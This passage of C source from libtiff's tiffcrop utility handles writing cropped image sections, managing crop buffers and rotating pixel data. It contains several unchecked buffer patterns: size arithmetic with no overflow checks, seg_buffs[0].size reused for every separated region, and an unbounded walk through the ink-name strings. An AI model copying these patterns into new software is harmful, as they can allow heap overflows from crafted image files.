inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { if (pageNum < 0) /* only one input file */ TIFFSetField(out, TIFFTAG_PAGENUMBER, pg0, pg1); else TIFFSetField(out, TIFFTAG_PAGENUMBER, pageNum++, 0); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Update these since they are overwritten from input res by loop above */ TIFFSetField(out, TIFFTAG_XRESOLUTION, (float)hres); TIFFSetField(out, TIFFTAG_YRESOLUTION, (float)vres); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) writeBufferToContigTiles (out, sect_buff, length, width, spp, dump); else writeBufferToSeparateTiles (out, sect_buff, length, width, spp, dump); } else { if (config == PLANARCONFIG_CONTIG) writeBufferToContigStrips (out, sect_buff, length); else writeBufferToSeparateStrips(out, sect_buff, length, width, spp, dump); } if (!TIFFWriteDirectory(out)) { TIFFClose(out); return (-1); } return (0); } /* end writeSingleSection */ /* Create a buffer to write one section at a time */ static int createImageSection(uint32 sectsize, unsigned char **sect_buff_ptr) { unsigned char *sect_buff = NULL; unsigned char *new_buff = NULL; static uint32 prev_sectsize = 0; sect_buff = *sect_buff_ptr; if (!sect_buff) { sect_buff = (unsigned char *)_TIFFmalloc(sectsize); *sect_buff_ptr = sect_buff; _TIFFmemset(sect_buff, 0, sectsize); } else { if (prev_sectsize < sectsize) { new_buff = _TIFFrealloc(sect_buff, sectsize); if (!new_buff) { free (sect_buff); sect_buff = (unsigned char *)_TIFFmalloc(sectsize); } else sect_buff = new_buff; _TIFFmemset(sect_buff, 0, sectsize); } } if (!sect_buff) { TIFFError("createImageSection", "Unable to allocate/reallocate section buffer"); return (-1); } prev_sectsize = sectsize; *sect_buff_ptr = sect_buff; return (0); } /* end createImageSection */ /* Process selections defined by regions, zones, margins, or fixed sized areas */ static int processCropSelections(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, struct buffinfo seg_buffs[]) { int i; uint32 width, length, total_width, total_length; tsize_t cropsize; unsigned char *crop_buff = NULL; unsigned char *read_buff = NULL; unsigned char *next_buff = NULL; tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; if (crop->img_mode == COMPOSITE_IMAGES) { cropsize = crop->bufftotal; crop_buff = seg_buffs[0].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = cropsize; /* Checks for matching width or length as required */ if (extractCompositeRegions(image, crop, read_buff, crop_buff) != 0) return (1); if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for composite regions"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } /* Mirror and Rotate will not work with multiple regions unless they are the same width */ if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror composite regions %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate composite regions by %d degrees", crop->rotation); return (-1); } seg_buffs[0].buffer = crop_buff; seg_buffs[0].size = (((crop->combined_width * image->bps + 7 ) / 8) * image->spp) * crop->combined_length; } } else /* Separated Images */ { total_width = total_length = 0; for (i = 0; i < crop->selections; i++) { cropsize = crop->bufftotal; crop_buff = seg_buffs[i].buffer; if (!crop_buff) crop_buff = (unsigned char *)_TIFFmalloc(cropsize); else { prev_cropsize = seg_buffs[0].size; if (prev_cropsize < cropsize) { next_buff = _TIFFrealloc(crop_buff, cropsize); if (! next_buff) { _TIFFfree (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = next_buff; } } if (!crop_buff) { TIFFError("processCropSelections", "Unable to allocate/reallocate crop buffer"); return (-1); } _TIFFmemset(crop_buff, 0, cropsize); seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = cropsize; if (extractSeparateRegion(image, crop, read_buff, crop_buff, i)) { TIFFError("processCropSelections", "Unable to extract cropped region %d from image", i); return (-1); } width = crop->regionlist[i].width; length = crop->regionlist[i].length; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to invert colorspace for region"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, width, length, crop_buff)) { TIFFError("processCropSelections", "Failed to mirror crop region %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->regionlist[i].width, &crop->regionlist[i].length, &crop_buff)) { TIFFError("processCropSelections", "Failed to rotate crop region by %d degrees", crop->rotation); return (-1); } total_width += crop->regionlist[i].width; total_length += crop->regionlist[i].length; crop->combined_width = total_width; crop->combined_length = total_length; seg_buffs[i].buffer = crop_buff; seg_buffs[i].size = (((crop->regionlist[i].width * image->bps + 7 ) / 8) * image->spp) * crop->regionlist[i].length; } } } return (0); } /* end processCropSelections */ /* Copy the crop section of the data from the current image into a buffer * and adjust the IFD values to reflect the new size. If no cropping is * required, use the origial read buffer as the crop buffer. * * There is quite a bit of redundancy between this routine and the more * specialized processCropSelections, but this provides * the most optimized path when no Zones or Regions are required. */ static int createCroppedImage(struct image_data *image, struct crop_mask *crop, unsigned char **read_buff_ptr, unsigned char **crop_buff_ptr) { tsize_t cropsize; unsigned char *read_buff = NULL; unsigned char *crop_buff = NULL; unsigned char *new_buff = NULL; static tsize_t prev_cropsize = 0; read_buff = *read_buff_ptr; /* process full image, no crop buffer needed */ crop_buff = read_buff; *crop_buff_ptr = read_buff; crop->combined_width = image->width; crop->combined_length = image->length; cropsize = crop->bufftotal; crop_buff = *crop_buff_ptr; if (!crop_buff) { crop_buff = (unsigned char *)_TIFFmalloc(cropsize); *crop_buff_ptr = crop_buff; _TIFFmemset(crop_buff, 0, cropsize); prev_cropsize = cropsize; } else { if (prev_cropsize < cropsize) { new_buff = _TIFFrealloc(crop_buff, cropsize); if (!new_buff) { free (crop_buff); crop_buff = (unsigned char *)_TIFFmalloc(cropsize); } else crop_buff = new_buff; _TIFFmemset(crop_buff, 0, cropsize); } } if (!crop_buff) { TIFFError("createCroppedImage", "Unable to allocate/reallocate crop buffer"); return (-1); } *crop_buff_ptr = crop_buff; if (crop->crop_mode & CROP_INVERT) { switch (crop->photometric) { /* Just change the interpretation */ case PHOTOMETRIC_MINISWHITE: case PHOTOMETRIC_MINISBLACK: image->photometric = crop->photometric; break; case INVERT_DATA_ONLY: case INVERT_DATA_AND_TAG: if (invertImage(image->photometric, image->spp, image->bps, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to invert colorspace for image or cropped selection"); return (-1); } if (crop->photometric == INVERT_DATA_AND_TAG) { switch (image->photometric) { case PHOTOMETRIC_MINISWHITE: image->photometric = PHOTOMETRIC_MINISBLACK; break; case PHOTOMETRIC_MINISBLACK: image->photometric = PHOTOMETRIC_MINISWHITE; break; default: break; } } break; default: break; } } if (crop->crop_mode & CROP_MIRROR) { if (mirrorImage(image->spp, image->bps, crop->mirror, crop->combined_width, crop->combined_length, crop_buff)) { TIFFError("createCroppedImage", "Failed to mirror image or cropped selection %s", (crop->rotation == MIRROR_HORIZ) ? "horizontally" : "vertically"); return (-1); } } if (crop->crop_mode & CROP_ROTATE) /* rotate should be last as it can reallocate the buffer */ { if (rotateImage(crop->rotation, image, &crop->combined_width, &crop->combined_length, crop_buff_ptr)) { TIFFError("createCroppedImage", "Failed to rotate image or cropped selection by %d degrees", crop->rotation); return (-1); } } if (crop_buff == read_buff) /* we used the read buffer for the crop buffer */ *read_buff_ptr = NULL; /* so we don't try to free it later */ return (0); } /* end createCroppedImage */ /* Code in this function is heavily indebted to code in tiffcp * with modifications by Richard Nolde to handle orientation correctly. * It will have to be updated significantly if support is added to * extract one or more samples from original image since the * original code assumes we are always copying all samples. * Use of global variables for config, compression and others * should be replaced by addition to the crop_mask struct (which * will be renamed to proc_opts indicating that is controlls * user supplied processing options, not just cropping) and * then passed in as an argument. */ static int writeCroppedImage(TIFF *in, TIFF *out, struct image_data *image, struct dump_opts *dump, uint32 width, uint32 length, unsigned char *crop_buff, int pagenum, int total_pages) { uint16 bps, spp; uint16 input_compression, input_photometric; uint16 input_planar; struct cpTag* p; input_compression = image->compression; input_photometric = image->photometric; spp = image->spp; bps = image->bps; TIFFSetField(out, TIFFTAG_IMAGEWIDTH, width); TIFFSetField(out, TIFFTAG_IMAGELENGTH, length); TIFFSetField(out, TIFFTAG_BITSPERSAMPLE, bps); TIFFSetField(out, TIFFTAG_SAMPLESPERPIXEL, spp); #ifdef DEBUG2 TIFFError("writeCroppedImage", "Input compression: %s", (input_compression == COMPRESSION_OJPEG) ? "Old Jpeg" : ((input_compression == COMPRESSION_JPEG) ? "New Jpeg" : "Non Jpeg")); #endif if (compression != (uint16)-1) TIFFSetField(out, TIFFTAG_COMPRESSION, compression); else { if (input_compression == COMPRESSION_OJPEG) { compression = COMPRESSION_JPEG; jpegcolormode = JPEGCOLORMODE_RAW; TIFFSetField(out, TIFFTAG_COMPRESSION, COMPRESSION_JPEG); } else CopyField(TIFFTAG_COMPRESSION, compression); } if (compression == COMPRESSION_JPEG) { if ((input_photometric == PHOTOMETRIC_PALETTE) || /* color map indexed */ (input_photometric == PHOTOMETRIC_MASK)) /* $holdout mask */ { TIFFError ("writeCroppedImage", "JPEG compression cannot be used with %s image data", (input_photometric == PHOTOMETRIC_PALETTE) ? "palette" : "mask"); return (-1); } if ((input_photometric == PHOTOMETRIC_RGB) && (jpegcolormode == JPEGCOLORMODE_RGB)) TIFFSetField(out, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_YCBCR); else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, input_photometric); } else { if (compression == COMPRESSION_SGILOG || compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else { if (input_compression == COMPRESSION_SGILOG || input_compression == COMPRESSION_SGILOG24) { TIFFSetField(out, TIFFTAG_PHOTOMETRIC, spp == 1 ? PHOTOMETRIC_LOGL : PHOTOMETRIC_LOGLUV); } else TIFFSetField(out, TIFFTAG_PHOTOMETRIC, image->photometric); } } if (((input_photometric == PHOTOMETRIC_LOGL) || (input_photometric == PHOTOMETRIC_LOGLUV)) && ((compression != COMPRESSION_SGILOG) && (compression != COMPRESSION_SGILOG24))) { TIFFError("writeCroppedImage", "LogL and LogLuv source data require SGI_LOG or SGI_LOG24 compression"); return (-1); } if (fillorder != 0) TIFFSetField(out, TIFFTAG_FILLORDER, fillorder); else CopyTag(TIFFTAG_FILLORDER, 1, TIFF_SHORT); /* The loadimage function reads input orientation and sets * image->orientation. The correct_image_orientation function * applies the required rotation and mirror operations to * present the data in TOPLEFT orientation and updates * image->orientation if any transforms are performed, * as per EXIF standard. */ TIFFSetField(out, TIFFTAG_ORIENTATION, image->orientation); /* * Choose tiles/strip for the output image according to * the command line arguments (-tiles, -strips) and the * structure of the input image. */ if (outtiled == -1) outtiled = TIFFIsTiled(in); if (outtiled) { /* * Setup output file's tile width&height. If either * is not specified, use either the value from the * input image or, if nothing is defined, use the * library default. */ if (tilewidth == (uint32) 0) TIFFGetField(in, TIFFTAG_TILEWIDTH, &tilewidth); if (tilelength == (uint32) 0) TIFFGetField(in, TIFFTAG_TILELENGTH, &tilelength); if (tilewidth == 0 || tilelength == 0) TIFFDefaultTileSize(out, &tilewidth, &tilelength); TIFFSetField(out, TIFFTAG_TILEWIDTH, tilewidth); TIFFSetField(out, TIFFTAG_TILELENGTH, tilelength); } else { /* * RowsPerStrip is left unspecified: use either the * value from the input image or, if nothing is defined, * use the library default. */ if (rowsperstrip == (uint32) 0) { if (!TIFFGetField(in, TIFFTAG_ROWSPERSTRIP, &rowsperstrip)) rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip); if (compression != COMPRESSION_JPEG) { if (rowsperstrip > length) rowsperstrip = length; } } else if (rowsperstrip == (uint32) -1) rowsperstrip = length; TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip); } TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &input_planar); if (config != (uint16) -1) TIFFSetField(out, TIFFTAG_PLANARCONFIG, config); else CopyField(TIFFTAG_PLANARCONFIG, config); if (spp <= 4) CopyTag(TIFFTAG_TRANSFERFUNCTION, 4, TIFF_SHORT); CopyTag(TIFFTAG_COLORMAP, 4, TIFF_SHORT); /* SMinSampleValue & SMaxSampleValue */ switch (compression) { case COMPRESSION_JPEG: if (((bps % 8) == 0) || ((bps % 12) == 0)) { TIFFSetField(out, TIFFTAG_JPEGQUALITY, quality); TIFFSetField(out, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB); } else { TIFFError("writeCroppedImage", "JPEG compression requires 8 or 12 bits per sample"); return (-1); } break; case COMPRESSION_LZW: case COMPRESSION_ADOBE_DEFLATE: case COMPRESSION_DEFLATE: if (predictor != (uint16)-1) TIFFSetField(out, TIFFTAG_PREDICTOR, predictor); else CopyField(TIFFTAG_PREDICTOR, predictor); break; case COMPRESSION_CCITTFAX3: case COMPRESSION_CCITTFAX4: if (bps != 1) { TIFFError("writeCroppedImage", "Group 3/4 compression is not usable with bps > 1"); return (-1); } if (compression == COMPRESSION_CCITTFAX3) { if (g3opts != (uint32) -1) TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, g3opts); else CopyField(TIFFTAG_GROUP3OPTIONS, g3opts); } else { CopyTag(TIFFTAG_GROUP4OPTIONS, 1, TIFF_LONG); } CopyTag(TIFFTAG_BADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_CLEANFAXDATA, 1, TIFF_LONG); CopyTag(TIFFTAG_CONSECUTIVEBADFAXLINES, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVPARAMS, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXRECVTIME, 1, TIFF_LONG); CopyTag(TIFFTAG_FAXSUBADDRESS, 1, TIFF_ASCII); break; case COMPRESSION_NONE: break; default: break; } { uint32 len32; void** data; if (TIFFGetField(in, TIFFTAG_ICCPROFILE, &len32, &data)) TIFFSetField(out, TIFFTAG_ICCPROFILE, len32, data); } { uint16 ninks; const char* inknames; if (TIFFGetField(in, TIFFTAG_NUMBEROFINKS, &ninks)) { TIFFSetField(out, TIFFTAG_NUMBEROFINKS, ninks); if (TIFFGetField(in, TIFFTAG_INKNAMES, &inknames)) { int inknameslen = strlen(inknames) + 1; const char* cp = inknames; while (ninks > 1) { cp = strchr(cp, '\0'); if (cp) { cp++; inknameslen += (strlen(cp) + 1); } ninks--; } TIFFSetField(out, TIFFTAG_INKNAMES, inknameslen, inknames); } } } { unsigned short pg0, pg1; if (TIFFGetField(in, TIFFTAG_PAGENUMBER, &pg0, &pg1)) { TIFFSetField(out, TIFFTAG_PAGENUMBER, pagenum, total_pages); } } for (p = tags; p < &tags[NTAGS]; p++) CopyTag(p->tag, p->count, p->type); /* Compute the tile or strip dimensions and write to disk */ if (outtiled) { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write contiguous tile data for page %d", pagenum); } else { if (writeBufferToSeparateTiles (out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate tile data for page %d", pagenum); } } else { if (config == PLANARCONFIG_CONTIG) { if (writeBufferToContigStrips (out, crop_buff, length)) TIFFError("","Unable to write contiguous strip data for page %d", pagenum); } else { if (writeBufferToSeparateStrips(out, crop_buff, length, width, spp, dump)) TIFFError("","Unable to write separate strip data for page %d", pagenum); } } if (!TIFFWriteDirectory(out)) { TIFFError("","Failed to write IFD for page number %d", pagenum); TIFFClose(out); return (-1); } return (0); } /* end writeCroppedImage */ static int rotateContigSamples8bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 src_byte = 0, src_bit = 0; uint32 row, rowsize = 0, bit_offset = 0; uint8 matchbits = 0, maskbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples8bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (row = 0; row < length ; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*next) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else { buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; } return (0); } /* end rotateContigSamples8bits */ static int rotateContigSamples16bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint16 matchbits = 0, maskbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples16bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (next[0] << 8) | next[1]; else buff1 = (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; } return (0); } /* end rotateContigSamples16bits */ static int rotateContigSamples24bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0; uint32 row, rowsize, bit_offset; uint32 src_byte = 0, src_bit = 0; uint32 matchbits = 0, maskbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint32)-1 >> (32 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; else buff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end rotateContigSamples24bits */ static int rotateContigSamples32bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width, uint32 length, uint32 col, uint8 *src, uint8 *dst) { int ready_bits = 0 /*, shift_width = 0 */; /* int bytes_per_sample, bytes_per_pixel; */ uint32 row, rowsize, bit_offset; uint32 src_byte, src_bit; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *next; tsample_t sample; if ((src == NULL) || (dst == NULL)) { TIFFError("rotateContigSamples24bits","Invalid src or destination buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ /* bytes_per_pixel = ((bps * spp) + 7) / 8; */ /* if (bytes_per_pixel < (bytes_per_sample + 1)) */ /* shift_width = bytes_per_pixel; */ /* else */ /* shift_width = bytes_per_sample + 1; */ rowsize = ((bps * spp * width) + 7) / 8; ready_bits = 0; maskbits = (uint64)-1 >> (64 - bps); buff1 = buff2 = 0; for (row = 0; row < length; row++) { bit_offset = col * bps * spp; for (sample = 0; sample < spp; sample++) { if (sample == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sample * bps)) / 8; src_bit = (bit_offset + (sample * bps)) % 8; } switch (rotation) { case 90: next = src + src_byte - (row * rowsize); break; case 270: next = src + src_byte + (row * rowsize); break; default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation); return (1); } matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (next[0] << 24) | (next[1] << 16) | (next[2] << 8) | next[3]; longbuff2 = longbuff1; } else { longbuff1 = (next[3] << 24) | (next[2] << 16) | (next[1] << 8) | next[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end rotateContigSamples32bits */ /* Rotate an image by a multiple of 90 degrees clockwise */ static int rotateImage(uint16 rotation, struct image_data *image, uint32 *img_width, uint32 *img_length, unsigned char **ibuff_ptr) { int shift_width; uint32 bytes_per_pixel, bytes_per_sample; uint32 row, rowsize, src_offset, dst_offset; uint32 i, col, width, length; uint32 colsize, buffsize, col_offset, pix_offset; unsigned char *ibuff; unsigned char *src; unsigned char *dst; uint16 spp, bps; float res_temp; unsigned char *rbuff = NULL; width = *img_width; length = *img_length; spp = image->spp; bps = image->bps; rowsize = ((bps * spp * width) + 7) / 8; colsize = ((bps * spp * length) + 7) / 8; if ((colsize * width) > (rowsize * length)) buffsize = (colsize + 1) * width; else buffsize = (rowsize + 1) * length; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (rotation) { case 0: case 360: return (0); case 90: case 180: case 270: break; default: TIFFError("rotateImage", "Invalid rotation angle %d", rotation); return (-1); } if (!(rbuff = (unsigned char *)_TIFFmalloc(buffsize))) { TIFFError("rotateImage", "Unable to allocate rotation buffer of %1u bytes", buffsize); return (-1); } _TIFFmemset(rbuff, '\0', buffsize); ibuff = *ibuff_ptr; switch (rotation) { case 180: if ((bps % 8) == 0) /* byte alligned data */ { src = ibuff; pix_offset = (spp * bps) / 8; for (row = 0; row < length; row++) { dst_offset = (length - row - 1) * rowsize; for (col = 0; col < width; col++) { col_offset = (width - col - 1) * pix_offset; dst = rbuff + dst_offset + col_offset; for (i = 0; i < bytes_per_pixel; i++) *dst++ = *src++; } } } else { /* non 8 bit per sample data */ for (row = 0; row < length; row++) { src_offset = row * rowsize; dst_offset = (length - row - 1) * rowsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (reverseSamples8bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (reverseSamples16bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (reverseSamples24bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (reverseSamples32bits(spp, bps, width, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return (-1); } } } _TIFFfree(ibuff); *(ibuff_ptr) = rbuff; break; case 90: if ((bps % 8) == 0) /* byte aligned data */ { for (col = 0; col < width; col++) { src_offset = ((length - 1) * rowsize) + (col * bytes_per_pixel); dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; for (row = length; row > 0; row--) { for (i = 0; i < bytes_per_pixel; i++) *dst++ = *(src + i); src -= rowsize; } } } else { /* non 8 bit per sample data */ for (col = 0; col < width; col++) { src_offset = (length - 1) * rowsize; dst_offset = col * colsize; src = ibuff + src_offset; dst = rbuff + dst_offset; switch (shift_width) { case 1: if (bps == 1) { if (rotateContigSamples8bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; } if (rotateContigSamples16bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 2: if (rotateContigSamples24bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; case 3: case 4: case 5: if (rotateContigSamples32bits(rotation, spp, bps, width, length, col, src, dst)) { _TIFFfree(rbuff); return (-1); } break; default: TIFFError("rotateImage","Unsupported bit depth %d", bps); _TIFFfree(rbuff); return 